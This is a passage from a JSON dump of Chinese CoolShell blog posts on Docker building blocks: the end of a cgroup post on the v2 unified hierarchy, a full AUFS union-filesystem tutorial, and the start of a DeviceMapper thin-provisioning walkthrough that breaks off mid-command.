Group）**：一组按照某种标准划分的进程，比如官方文档中的Professor和Student，或是WWW和System之类的，其表示了某进程组。Cgroups中的资源控制都是以控制组为单位实现。一个进程可以加入到某个控制组。而资源的限制是定义在这个组上，就像上面示例中我用的haoel一样。简单点说，cgroup的呈现就是一个目录带一系列的可配置文件。\n* **层级（Hierarchy）**：控制组可以组织成hierarchical的形式，既一颗控制组的树（目录结构）。控制组树上的子节点继承父结点的属性。简单点说，hierarchy就是在一个或多个子系统上的cgroups目录树。\n* **子系统（Subsystem）**：一个子系统就是一个资源控制器，比如CPU子系统就是控制CPU时间分配的一个控制器。子系统必须附加到一个层级上才能起作用，一个子系统附加到某个层级以后，这个层级上的所有控制族群都受到这个子系统的控制。Cgroup的子系统可以有很多，也在不断增加中。\n\n\n#### 下一代的CGroup\n\n\n上面，我们可以看到，CGroup的一些常用方法和相关的术语。一般来说，这样的设计在一般情况下还是没什么问题的，除了操作上的用户体验不是很好，但基本满足我们的一般需求了。\n\n\n不过，对此，有个叫Tejun Heo的同学非常不爽，他在Linux社区里[对cgroup吐了一把槽](https://lwn.net/Articles/484254/)，还引发了内核组的各种讨论。\n\n\n对于Tejun Heo同学来说，cgroup设计的相当糟糕。他给出了些例子，大意就是说，如果有多种层级关系，也就是说有多种对进程的分类方式，比如，我们可以按用户来分，分成Professor和Student，同时，也有按应用类似来分的，比如WWW和NFS等。那么，当一个进程即是Professor的，也是WWW的，那么就会出现多层级正交的情况，从而出现对进程上管理的混乱。另外，一个case是，如果有一个层级A绑定cpu，而层级B绑定memory，还有一个层级C绑定cputset，而有一些进程有的需要AB，有的需要AC，有的需要ABC，管理起来就相当不易。 \n\n\n层级操作起来比较麻烦，而且如果层级变多，更不易于操作和管理，虽然那种方式很好实现，但是在使用上有很多的复杂度。你可以想像一个图书馆的图书分类问题，你可以有各种不同的分类，分类和图书就是一种多对多的关系。\n\n\n所以，在Kernel 3.16后，引入了[unified hierarchy](http://lwn.net/Articles/601840/)的新的设计，这个东西引入了一个叫**\\_\\_DEVEL\\_\\_sane\\_behavior**的特性（这个名字很明显意味目前还在开发试验阶段），它可以把所有子系统都挂载到根层级下，只有叶子节点可以存在tasks，非叶子节点只进行资源控制。\n\n\n我们mount一下看看：\n\n\n\n```\n$ sudo mount -t cgroup -o __DEVEL__sane_behavior cgroup ./cgroup\n\n$ ls ./cgroup\ncgroup.controllers  cgroup.procs  cgroup.sane_behavior  cgroup.subtree_control \n\n$ cat ./cgroup/cgroup.controllers\ncpuset cpu cpuacct memory devices freezer net_cls blkio perf_event net_prio hugetlb\n```\n\n我们可以看到有四个文件，然后，你在这里mkdir一个子目录，里面也会有这四个文件。**上级的cgroup.subtree\\_control控制下级的cgroup.controllers。**\n\n\n举个例子：假设我们有以下的目录结构，b代表blkio，m代码memory，其中，A是root，包括所有的子系统（）。\n\n\n\n```\n\n# A(b,m) - B(b,m) - C (b)\n#               \\ - D (b) - E\n\n# 下面的命令中， +表示enable， -表示disable\n\n# 在B上的enable blkio\n# echo +blkio > A/cgroup.subtree_control\n\n# 在C和D上enable blkio \n# echo +blkio > A/B/cgroup.subtree_control\n\n# 在B上enable memory  \n# echo +memory > A/cgroup.subtree_control\n```\n\n在上述的结构中，\n\n\n* cgroup只有上线控制下级，无法传递到下下级。所以，C和D中没有memory的限制，E中没有blkio和memory的限制。而本层的cgroup.controllers文件是个只读的，其中的内容就看上级的subtree\\_control里有什么了。\n* **任何被配置过subtree\\_control的目录都不能绑定进程，根结点除外**。所以，A,C,D,E可以绑上进程，但是B不行。\n\n\n我们可以看到，**这种方式干净的区分开了两个事，一个是进程的分组，一个是对分组的资源控制**（以前这两个事完全混在一起），在目录继承上增加了些限制，这样可以避免一些模棱两可的情况。\n\n\n当然，这个事还在演化中，cgroup的这些问题这个事目前由cgroup的吐槽人Tejun Heo和华为的Li Zefan同学负责解决中。总之，这是一个系统管理上的问题，而且改变会影响很多东西，但一旦方案确定，老的cgroup方式将一去不复返。\n\n\n#### 参考\n\n\n* [Linux Kernel Cgroup Documents](https://www.kernel.org/doc/Documentation/cgroups/)\n* [Reahat Resource Management Guide](https://access.redhat.com/documentation/zh-CN/Red_Hat_Enterprise_Linux/6/html-single/Resource_Management_Guide/index.html)\n* [Fixing control groups](https://lwn.net/Articles/484251/)\n* [The unified control group hierarchy in 3.16](http://lwn.net/Articles/601840/)\n* [Cgroup v2(PDF)](http://events.linuxfoundation.org/sites/events/files/slides/2014-KLF.pdf)\n\n\n（全文完）  \n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Docker基础技术：DeviceMapper](../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg)](https://coolshell.cn/articles/17200.html)[Docker基础技术：DeviceMapper](https://coolshell.cn/articles/17200.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](https://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html)\n* [![Docker基础技术：Linux Namespace（上）](../wp-content/uploads/2015/04/isolation-150x150.jpg)](https://coolshell.cn/articles/17010.html)[Docker基础技术：Linux Namespace（上）](https://coolshell.cn/articles/17010.html)\n* [![Docker基础技术：Linux Namespace（下）](../wp-content/uploads/2015/04/jail_cell-150x150.jpg)](https://coolshell.cn/articles/17029.html)[Docker基础技术：Linux Namespace（下）](https://coolshell.cn/articles/17029.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\nThe post [Docker基础技术：Linux CGroup](https://coolshell.cn/articles/17049.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2015-8-24 Docker基础技术：AUFS.md",
    "content": "---\nlayout: post\ntitle: Docker基础技术：AUFS\ndate: 2015/8/24/ 0:1:13\nupdated: 2015/8/24/ 0:1:13\nstatus: publish\npublished: true\ntype: post\n---\n\n[![docker-filesystems-busyboxrw](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-300x225.png)](https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw.png)AUFS是一种Union File System，所谓UnionFS就是把不同物理位置的目录合并mount到同一个目录中。UnionFS的一个最主要的应用是，把一张CD/DVD和一个硬盘目录给联合 mount在一起，然后，你就可以对这个只读的CD/DVD上的文件进行修改（当然，修改的文件存于硬盘上的目录里）。\n\n\nAUFS又叫Another UnionFS，后来叫Alternative UnionFS，后来可能觉得不够霸气，叫成Advance UnionFS。是个叫Junjiro Okajima（岡島順治郎）在2006年开发的，AUFS完全重写了早期的UnionFS 1.x，其主要目的是为了可靠性和性能，并且引入了一些新的功能，比如可写分支的负载均衡。AUFS在使用上全兼容UnionFS，而且比之前的UnionFS在稳定性和性能上都要好很多，后来的UnionFS 2.x开始抄AUFS中的功能。但是他居然没有进到Linux主干里，就是因为Linus不让，基本上是因为代码量比较多，而且写得烂（相对于只有3000行的union mount和10000行的UnionFS，以及其它平均下来只有6000行代码左右的VFS，AUFS居然有30000行代码），所以，岡島不断地改进代码质量，不断地提交，不断地被Linus拒掉，所以，到今天AUFS都还进不了Linux主干（今天你可以看到AUFS的代码其实还好了，比起OpenSSL好N倍，要么就是Linus对代码的质量要求非常高，要么就是Linus就是不喜欢AUFS）。\n\n\n不过，好在有很多发行版都用了AUFS，比如：Ubuntu 10.04，Debian6.0, Gentoo Live CD支持AUFS，所以，也OK了。\n\n\n好了，扯完这些闲话，我们还是看一个示例吧（环境：Ubuntu 14.04）\n\n\n\n首先，我们建上两个目录（水果和蔬菜），并在这两个目录中放上一些文件，水果中有苹果和蕃茄，蔬菜有胡萝卜和蕃茄。\n\n\n\n```\n$ tree\n.\n├── fruits\n│   ├── apple\n│   └── tomato\n└── vegetables\n    ├── carrots\n    └── tomato\n\n\n```\n\n然后，我们输入以下命令：\n\n\n\n```\n# 创建一个mount目录\n$ mkdir mnt\n\n# 把水果目录和蔬菜目录union mount到 ./mnt目录中\n$ sudo mount -t aufs -o dirs=./fruits:./vegetables none ./mnt\n\n#  查看./mnt目录\n$ tree ./mnt\n./mnt\n├── apple\n├── carrots\n└── tomato\n```\n\n我们可以看到在./mnt目录下有三个文件，苹果apple、胡萝卜carrots和蕃茄tomato。水果和蔬菜的目录被union到了./mnt目录下了。\n\n\n我们来修改一下其中的文件内容：\n\n\n\n```\n$ echo mnt > ./mnt/apple\n$ cat ./mnt/apple\nmnt\n$ cat ./fruits/apple\nmnt\n```\n\n上面的示例，我们可以看到./mnt/apple的内容改了，./fruits/apple的内容也改了。\n\n\n\n```\n$ echo mnt_carrots > ./mnt/carrots\n$ cat ./vegetables/carrots \n\n$ cat ./fruits/carrots\nmnt_carrots\n\n```\n\n上面的示例，我们可以看到，我们修改了./mnt/carrots的文件内容，./vegetables/carrots并没有变化，反而是./fruits/carrots的目录中出现了carrots文件，其内容是我们在./mnt/carrots里的内容。\n\n\n也就是说，我们在mount aufs命令中，我们没有指它vegetables和fruits的目录权限，默认上来说，命令行上第一个（最左边）的目录是可读可写的，后面的全都是只读的。（一般来说，最前面的目录应该是可写的，而后面的都应该是只读的）\n\n\n所以，如果我们像下面这样指定权限来mount aufs，你就会发现有不一样的效果（记得先把上面./fruits/carrots的文件删除了）：\n\n\n\n```\n$ sudo mount -t aufs -o dirs=./fruits=rw:./vegetables=rw none ./mnt\n\n$ echo \"mnt_carrots\" > ./mnt/carrots \n\n$ cat ./vegetables/carrots\nmnt_carrots\n\n$ cat ./fruits/carrots\ncat: ./fruits/carrots: No such file or directory\n```\n\n现在，在这情况下，如果我们要修改./mnt/tomato这个文件，那么究竟是哪个文件会被改写？\n\n\n\n```\n$ echo \"mnt_tomato\" > ./mnt/tomato \n\n$ cat ./fruits/tomato\nmnt_tomato\n\n$ cat ./vegetables/tomato\nI am a vegetable\n```\n\n可见，如果有重复的文件名，在mount命令行上，越往前的就优先级越高。\n\n\n你可以用这个例子做一些各种各样的试验，我这里主要是给大家一个感性认识，就不展开试验下去了。\n\n\n那么，这种UnionFS有什么用？\n\n\n历史上，有一个叫[Knoppix的Linux发行版](http://zh.wikipedia.org/wiki/Knoppix)，其主要用于Linux演示、光盘教学、系统急救，以及商业产品的演示，不需要硬盘安装，直接把CD/DVD上的image运行在一个可写的存储设备上（比如一个U盘上），其实，也就是把CD/DVD这个文件系统和USB这个可写的系统给联合mount起来，这样你对CD/DVD上的image做的任何改动都会在被应用在U盘上，于是乎，你可以对CD/DVD上的内容进行任意的修改，因为改动都在U盘上，所以你改不坏原来的东西。\n\n\n我们可以再发挥一下想像力，你也可以把一个目录，比如你的源代码，作为一个只读的template，和另一个你的working directory给union在一起，然后你就可以做各种修改而不用害怕会把源代码改坏了。有点像一个ad hoc snapshot。\n\n\nDocker把UnionFS的想像力发挥到了容器的镜像。你是否还记得我在[介绍Linux Namespace上篇](https://coolshell.cn/articles/17010.html \"Docker基础技术：Linux Namespace（上）\")中用mount namespace和chroot山寨了一镜像。现在当你看过了这个UnionFS的技术后，你是不是就明白了，你完全可以用UnionFS这样的技术做出分层的镜像来。\n\n\n下图来自Docker的官方文档[Layer](http://docs.docker.com/terms/layer/)，其很好的展示了Docker用UnionFS搭建的分层镜像。\n\n\n![docker-filesystems-multilayer](../wp-content/uploads/2015/04/docker-filesystems-multilayer.png)\n\n\n关于docker的分层镜像，除了aufs，docker还支持btrfs, devicemapper和vfs，你可以使用 -s 或 –storage-driver= 选项来指定相关的镜像存储。在Ubuntu 14.04下，docker默认Ubuntu的 aufs（在CentOS7下，用的是devicemapper，关于devicemapper，我会以以后的文章中讲解）你可以在下面的目录中查看相关的每个层的镜像：\n\n\n`/var/lib/docker/aufs/diff/<id>` \n\n\n在docker执行起来后（比如：docker run -it ubuntu /bin/bash ），你可以从/sys/fs/aufs/si\\_[id]目录下查看aufs的mount的情况，下面是个示例：\n\n\n\n```\n#ls /sys/fs/aufs/si_b71b209f85ff8e75/\nbr0      br2      br4      br6      brid1    brid3    brid5    xi_path\nbr1      br3      br5      brid0    brid2    brid4    brid6 \n\n# cat /sys/fs/aufs/si_b71b209f85ff8e75/*\n/var/lib/docker/aufs/diff/87315f1367e5703f599168d1e17528a0500bd2e2df7d2fe2aaf9595f3697dbd7=rw\n/var/lib/docker/aufs/diff/87315f1367e5703f599168d1e17528a0500bd2e2df7d2fe2aaf9595f3697dbd7-init=ro+wh\n/var/lib/docker/aufs/diff/d0955f21bf24f5bfffd32d2d0bb669d0564701c271bc3dfc64cfc5adfdec2d07=ro+wh\n/var/lib/docker/aufs/diff/9fec74352904baf5ab5237caa39a84b0af5c593dc7cc08839e2ba65193024507=ro+wh\n/var/lib/docker/aufs/diff/a1a958a248181c9aa6413848cd67646e5afb9797f1a3da5995c7a636f050f537=ro+wh\n/var/lib/docker/aufs/diff/f3c84ac3a0533f691c9fea4cc2ceaaf43baec22bf8d6a479e069f6d814be9b86=ro+wh\n/var/lib/docker/aufs/diff/511136ea3c5a64f264b78b5433614aec563103b4d4702f3ba7d4d2698e22c158=ro+wh\n64\n65\n66\n67\n68\n69\n70\n/run/shm/aufs.xino\n```\n\n你会看到只有最顶上的层（branch）是rw权限，其它的都是ro+wh权限只读的。\n\n\n关于docker的aufs的配置，你可以在/var/lib/docker/repositories-aufs这个文件中看到。\n\n\n#### AUFS的一些特性\n\n\nAUFS有所有Union FS的特性，把多个目录，合并成同一个目录，并可以为每个需要合并的目录指定相应的权限，实时的添加、删除、修改已经被mount好的目录。而且，他还能在多个可写的branch/dir间进行负载均衡。\n\n\n上面的例子，我们已经看到AUFS的mount的示例了。下面我们来看一看被union的目录（分支）的相关权限：\n\n\n* rw表示可写可读read-write。\n* ro表示read-only，如果你不指权限，那么除了第一个外ro是默认值，对于ro分支，其永远不会收到写操作，也不会收到查找whiteout的操作。\n* rr表示real-read-only，与read-only不同的是，rr标记的是天生就是只读的分支，这样，AUFS可以提高性能，比如不再设置inotify来检查文件变动通知。\n\n\n权限中，我们看到了一个术语：whiteout，下面我来解释一下这个术语。\n\n\n一般来说ro的分支都会有wh的属性，比如 “[dir]=ro+wh”。所谓whiteout的意思，如果在union中删除的某个文件，实际上是位于一个readonly的分支（目录）上，那么，在mount的union这个目录中你将看不到这个文件，但是read-only这个层上我们无法做任何的修改，所以，我们就需要对这个readonly目录里的文件作whiteout。AUFS的whiteout的实现是通过在上层的可写的目录下建立对应的whiteout隐藏文件来实现的。\n\n\n看个例子：\n\n\n假设我们有三个目录和文件如下所示（test是个空目录）：\n\n\n\n```\n# tree\n.\n├── fruits\n│   ├── apple\n│   └── tomato\n├── test\n└── vegetables\n    ├── carrots\n    └── tomato\n```\n\n我们如下mount：\n\n\n\n```\n# mkdir mnt\n\n# mount -t aufs -o dirs=./test=rw:./fruits=ro:./vegetables=ro none ./mnt\n\n# # ls ./mnt/\napple  carrots  tomato \n```\n\n现在我们在权限为rw的test目录下建个whiteout的隐藏文件.wh.apple，你就会发现./mnt/apple这个文件就消失了:\n\n\n\n```\n # touch ./test/.wh.apple\n\n# ls ./mnt\ncarrots  tomato\n```\n\n上面这个操作和 rm ./mnt/apple是一样的。\n\n\n##### 相关术语\n\n\nš**Branch** – 就是各个要被union起来的目录（就是我在上面使用的dirs的命令行参数）\n\n\n* šBranch根据被union的顺序形成一个stack，一般来说最上面的是可写的，下面的都是只读的。\n* šBranch的stack可以在被mount后进行修改，比如：修改顺序，加入新的branch，或是删除其中的branch，或是直接修改branch的权限\n\n\nš**Whiteout** 和 **Opaque**\n\n\n* š如果UnionFS中的某个目录被删除了，那么就应该不可见了，就算是在底层的branch中还有这个目录，那也应该不可见了。\n\n\n* šWhiteout就是某个上层目录覆盖了下层的相同名字的目录。用于隐藏低层分支的文件，也用于阻止readdir进入低层分支。\n\n\n* šOpaque的意思就是不允许任何下层的某个目录显示出来。\n\n\n* š在隐藏低层档的情况下，whiteout的名字是’.wh.<filename>’。\n\n\n* š在阻止readdir的情况下，名字是’.wh..wh..opq’或者 ’.wh.\\_\\_dir\\_opaque’。\n\n\n##### 相关问题\n\n\n看到上面这些，你一定会有几个问题：\n\n\n**其一、你可能会问，要有文件在原来的地方被修改了会怎么样？**mount的目录会一起改变吗？答案是会的，也可以是不会的。因为你可以指定一个叫udba的参数（全称：User’s Direct Branch Access），这个参数有三个取值：\n\n\n* **udba=none** – 设置上这个参数后，AUFS会运转的更快，因为那些不在mount目录里发生的修改，aufs不会同步过来了，所以会有数据出错的问题。\n* **udba=reval** – 设置上这个参数后，AUFS会去查文件有没有被更新，如果有的话，就会把修改拉到mount目录内。\n* **udba=notify** – 这个参数会让AUFS为所有的branch注册inotify，这样可以让AUFS在更新文件修改的性能更高一些。\n\n\n**其二、如果有多个rw的branch（目录）被union起来了，那么，当我创建文件的时候，aufs会创建在哪里呢？** aufs提供了一个叫create的参数可以供你来配置相当的创建策略，下面有几个例子。\n\n\n**create=rr | round−robin** 轮询。下面的示例可以看到，新创建的文件轮流写到三个目录中\n\n\n\n```\n\nhchen$ sudo mount -t aufs  -o dirs=./1=rw:./2=rw:./3=rw -o create=rr none ./mnt\nhchen$ touch ./mnt/a ./mnt/b ./mnt/c\nhchen$ tree\n.\n├── 1\n│   └── a\n├── 2\n│   └── c\n└── 3\n    └── b\n```\n\n**create=mfs[:second] | most−free−space[:second]** 选一个可用空间最好的分支。可以指定一个检查可用磁盘空间的时间。\n\n\n**create=mfsrr:low[:second]** 选一个空间大于low的branch，如果空间小于low了，那么aufs会使用 round-robin 方式。\n\n\n更多的关于AUFS的细节使用参数，大家可以直接在Ubuntu 14.04下通过 [man aufs](http://aufs.sourceforge.net/aufs3/man.html) 来看一下其中的各种参数和命令。\n\n\n#### AUFS的性能\n\n\nAUFS的性能慢吗？也慢也不慢。因为AUFS会把所有的分支mount起来，所以，在查找文件上是比较慢了。因为它要遍历所有的branch。是个O(n)的算法（很明显，这个算法有很大的改进空间的）所以，branch越多，查找文件的性能也就越慢。但是，一旦AUFS找到了这个文件的inode，那后以后的读写和操作原文件基本上是一样的。\n\n\n所以，如果你的程序跑在在AUFS下，open和stat操作会有明显的性能下降，branch越多，性能越差，但是在write/read操作上，性能没有什么变化。\n\n\nIBM的研究中心对Docker的性能给了一份非常不错的性能报告（PDF）《[An Updated Performance Comparison of Virtual Machinesand Linux Containers](http://domino.research.ibm.com/library/cyberdig.nsf/papers/0929052195DD819C85257D2300681E7B/$File/rc25482.pdf)》\n\n\n我截了两张图出来，第一张是顺序读写，第二张是随机读写。基本没有什么性能损失的问题。而KVM在随机读写的情况也就有点慢了（但是，如果硬盘是SSD的呢？）\n\n\n[![](../wp-content/uploads/2015/08/docker.seq_.jpg)](https://coolshell.cn/wp-content/uploads/2015/08/docker.seq_.jpg)\n\n\n \n\n\n**顺序读写**\n\n\n[![](../wp-content/uploads/2015/08/docker.rand_.jpg)](https://coolshell.cn/wp-content/uploads/2015/08/docker.rand_.jpg)\n\n\n \n\n\n**随机读写**\n\n\n#### 延伸阅读\n\n\n* [Introduce UnionFS](http://www.linuxjournal.com/article/7714)\n* [Union file systems: Implementations, part I](http://lwn.net/Articles/325369/)\n* [Union file systems: Implementations, part 2](http://lwn.net/Articles/327738/)\n* [Another union filesystem approach](http://lwn.net/Articles/403012/)\n* [Unioning file systems: Architecture, features, and design choices](http://lwn.net/Articles/324291/)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Docker基础技术：DeviceMapper](../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg)](https://coolshell.cn/articles/17200.html)[Docker基础技术：DeviceMapper](https://coolshell.cn/articles/17200.html)\n* [![Docker基础技术：Linux CGroup](../wp-content/uploads/2015/04/filter-150x150.png)](https://coolshell.cn/articles/17049.html)[Docker基础技术：Linux CGroup](https://coolshell.cn/articles/17049.html)\n* [![Docker基础技术：Linux Namespace（上）](../wp-content/uploads/2015/04/isolation-150x150.jpg)](https://coolshell.cn/articles/17010.html)[Docker基础技术：Linux Namespace（上）](https://coolshell.cn/articles/17010.html)\n* [![Docker基础技术：Linux Namespace（下）](../wp-content/uploads/2015/04/jail_cell-150x150.jpg)](https://coolshell.cn/articles/17029.html)[Docker基础技术：Linux Namespace（下）](https://coolshell.cn/articles/17029.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\nThe post [Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2015-8-26 Docker基础技术：DeviceMapper.md",
    "content": "---\nlayout: post\ntitle: Docker基础技术：DeviceMapper\ndate: 2015/8/26/ 0:21:9\nupdated: 2015/8/26/ 0:21:9\nstatus: publish\npublished: true\ntype: post\n---\n\n![how_to_set_up_an_iSCSI_LUN_with_thin](../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-300x150.jpg)在上一篇[介绍AUFS的文章](https://coolshell.cn/articles/17061.html)中，大家可以看到，Docker的分层镜像是怎么通过UnionFS这种文件系统做到的，但是，因为Docker首选的AUFS并不在Linux的内核主干里，所以，对于非Ubuntu的Linux分发包，比如CentOS，就无法使用AUFS作为Docker的文件系统了。于是作为第二优先级的DeviceMapper就被拿出来做分层镜像的一个实现。\n\n\n#### Device Mapper 简介\n\n\nDeviceMapper自Linux 2.6被引入成为了Linux最重要的一个技术。它在内核中支持逻辑卷管理的通用设备映射机制，它为实现用于存储资源管理的块设备驱动提供了一个高度模块化的内核架构，它包含三个重要的对象概念，Mapped Device、Mapping Table、Target device。\n\n\nMapped Device 是一个逻辑抽象，可以理解成为内核向外提供的逻辑设备，它通过Mapping Table描述的映射关系和 Target Device 建立映射。Target device 表示的是 Mapped Device 所映射的物理空间段，对 Mapped Device 所表示的逻辑设备来说，就是该逻辑设备映射到的一个物理设备。\n\n\nMapping Table里有 Mapped Device 逻辑的起始地址、范围、和表示在 Target Device 所在物理设备的地址偏移量以及Target 类型等信息（注：这些地址和偏移量都是以磁盘的扇区为单位的，即 512 个字节大小，所以，当你看到128的时候，其实表示的是128\\*512=64K）。\n\n\n\nDeviceMapper 中的逻辑设备Mapped Device不但可以映射一个或多个物理设备Target Device，还可以映射另一个Mapped Device，于是，就是构成了一个迭代或递归的情况，就像文件系统中的目录里除了文件还可以有目录，理论上可以无限嵌套下去。\n\n\nDeviceMapper在内核中通过一个一个模块化的 Target Driver 插件实现对 IO 请求的过滤或者重新定向等工作，当前已经实现的插件包括软 Raid、加密、多路径、镜像、快照等，这体现了在 Linux 内核设计中策略和机制分离的原则。如下图所示。从图中，我们可以**看到DeviceMapper只是一个框架，在这个框架上，我们可以插入各种各样的策略**（让我不自然地想到了面向对象中的策略模式），在这诸多“插件”中，**有一个东西叫Thin Provisioning Snapshot，这是Docker使用DeviceMapper中最重要的模块**。\n\n\n![图片来源：http://people.redhat.com/agk/talks/FOSDEM_2005/](../wp-content/uploads/2015/08/device.mapper.2.gif)图片来源：<http://people.redhat.com/agk/talks/FOSDEM_2005/>\n#### **Thin Provisioning 简介**\n\n\nThin Provisioning要怎么翻译成中文，真是一件令人头痛的事，我就不翻译了。这个技术是虚拟化技术中的一种。它是什么意思呢？**你可以联想一下我们计算机中的内存管理中用到的——“虚拟内存技术”**——操作系统给每个进程N多N多用不完的内址地址（32位下，每个进程可以有最多2GB的内存空间），但是呢，我们知道，物理内存是没有那么多的，如果按照进程内存和物理内存一一映射来玩的话，那么，我们得要多少的物理内存啊。所以，操作系统引入了虚拟内存的设计，**意思是，我逻辑上给你无限多的内存，但是实际上是实报实销**，因为我知道你一定用不了那么多，于是，达到了内存使用率提高的效果。（今天云计算中很多所谓的虚拟化其实完全都是在用和“虚拟内存”相似的Thin Provisioning的技术，所谓的超配，或是超卖）\n\n\n \n\n\n好了，话题拉回来，我们这里说的是存储。看下面两个图（[图片来源](http://www.architecting.it/2009/06/04/enterprise-computing-why-thin-provisioning-is-not-the-holy-grail-for-utilisation/)），第一个是Fat Provisioning，第二个是Thin Provisioning，其很好的说明了是个怎么一回事（和虚拟内存是一个概念）\n\n\n![thin-provisioning-1](../wp-content/uploads/2015/08/thin-provisioning-1.jpg) ![thin-provisioning-2](../wp-content/uploads/2015/08/thin-provisioning-2.jpg)\n\n\n那么，Docker是怎么使用Thin Provisioning这个技术做到像UnionFS那样的分层镜像的呢？答案是，Docker使用了Thin Provisioning的Snapshot的技术。下面我们来介绍一下Thin Provisioning的Snapshot。\n\n\n#### Thin Provisioning Snapshot 演示\n\n\n下面，我们用一系列的命令来演示一下Device Mapper的Thin Provisioning Snapshot是怎么玩的。\n\n\n首先，我们需要先建两个文件，一个是data.img，一个是meta.data.img：\n\n\n\n```\n~hchen$ sudo dd if=/dev/zero of=/tmp/data.img bs=1K count=1 seek=10M\n1+0 records in\n1+0 records out\n1024 bytes (1.0 kB) copied, 0.000621428 s, 1.6 MB/s\n\n~hchen$ sudo dd if=/dev/zero of=/tmp/meta.data.img bs=1K count=1 seek=1G\n1+0 records in\n1+0 records out\n1024 bytes (1.0 kB) copied, 0.000140858 s, 7.3 MB/s\n```\n\n注意命令中`seek`选项，其表示为略过`of`选项指定的输出文件的前10G个output的bloksize的空间后再写入内容。因为bs是1个字节，所以也就是10G的尺寸，但其实在硬盘上是没有占有空间的，占有空间只有1k的内容。当向其写入内容时，才会在硬盘上为其分配空间。我们可以用ls命令看一下，实际分配了12K和4K。\n\n\n\n```\n~hchen$ sudo ls -lsh /tmp/data.img\n12K -rw-r--r--. 1 root root 11G Aug 25 23:01 /tmp/data.img\n\n~hchen$ sudo ls -slh /tmp/meta.data.img\n4.0K -rw-r--r--. 1 root root 101M Aug 25 23:17 /tmp/meta.data.img\n```\n\n然后，我们为这个文件创建一个loopback设备。（loop2015和loop2016是我乱取的两个名字）\n\n\n\n```\n~hchen$ sudo losetup /dev/loop2015 /tmp/data.img\n~hchen$ sudo losetup /dev/loop2016 /tmp/meta.data.img\n\n~hchen$ sudo losetup -a\n/dev/loop2015: [64768]:103991768 (/tmp/data.img)\n/dev/loop2016: [64768]:103991765 (/tmp/meta.data.img)\n```\n\n现在，我们为这个设备建一个Thin Provisioning的Pool，用dmsetup命令：\n\n\n\n```\n~hchen$ sudo dmsetup create hchen-thin-pool \\\n                  --table \"0 20971522 thin-pool /dev/loop2016 /dev/loop2015 \\\n                           128 65536 1 skip_block_zeroing\"\n```\n\n其中的参数解释如下（更多信息可参看[Thin Provisioning的man page](https://github.com/torvalds/linux/blob/master/Documentation/device-mapper/thin-provisioning.txt)）：\n\n\n* dmsetup create是用来创建thin pool的命令\n* hchen-thin-pool 是自定义的一个pool名，不冲突就好。\n* –table是这个pool的参数设置\n\t+ 0代表起的sector位置\n\t+ 20971522代码结句的sector号，前面说过，一个sector是512字节，所以，20971522个正好是10GB\n\t+ /dev/loop2016是meta文件的设备（前面我们建好了）\n\t+ /dev/loop2015是data文件的设备（前面我们建好了）\n\t+ 128是最小的可分配的sector数\n\t+ 65536是最少可用sector的water mark，也就是一个threshold\n\t+ 1 代表有一个附加参数\n\t+ skip\\_block\\_zeroing是个附加参数，表示略过用0填充的块\n\n\n然后，我们就可以看到一个Device Mapper的设备了：\n\n\n\n```\n~hchen$ sudo ll /dev/mapper/hchen-thin-pool\nlrwxrwxrwx. 1 root root 7 Aug 25 23:24 /dev/mapper/hchen-thin-pool -> ../dm-4\n```\n\n接下来，我们的初始还没有完成，还要创建一个Thin Provisioning 的 Volume：\n\n\n\n```\n~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 \"create_thin 0\"\n~hchen$ sudo dmsetup create hchen-thin-volumn-001 \\\n            --table \"0 2097152 thin /dev/mapper/hchen-thin-pool 0\"\n```\n\n其中：\n\n\n* 第一个命令中的create\\_thin是关键字，后面的0表示这个Volume的device 的 id\n* 第二个命令，是真正的为这个Volumn创建一个可以mount的设备，名字叫hchen-thin-volumn-001。2097152只有1GB\n\n\n好了，在mount前，我们还要格式化一下：\n\n\n\n```\n~hchen$ sudo mkfs.ext4 /dev/mapper/hchen-thin-volumn-001\nmke2fs 1.42.9 (28-Dec-2013)\nDiscarding device blocks: done\nFilesystem label=\nOS type: Linux\nBlock size=4096 (log=2)\nFragment size=4096 (log=2)\nStride=16 blocks, Stripe width=16 blocks\n65536 inodes, 262144 blocks\n13107 blocks (5.00%) reserved for the super user\nFirst data block=0\nMaximum filesystem blocks=268435456\n8 block groups\n32768 blocks per group, 32768 fragments per group\n8192 inodes per group\nSuperblock backups stored on blocks:\n32768, 98304, 163840, 229376\n\nAllocating group tables: done\nWriting inode tables: done\nCreating journal (8192 blocks): done\nWriting superblocks and filesystem accounting information: done\n```\n\n好了，我们可以mount了（下面的命令中，我还创建了一个文件）\n\n\n\n```\n~hchen$ sudo mkdir -p /mnt/base\n~hchen$ sudo mount /dev/mapper/hchen-thin-volumn-001 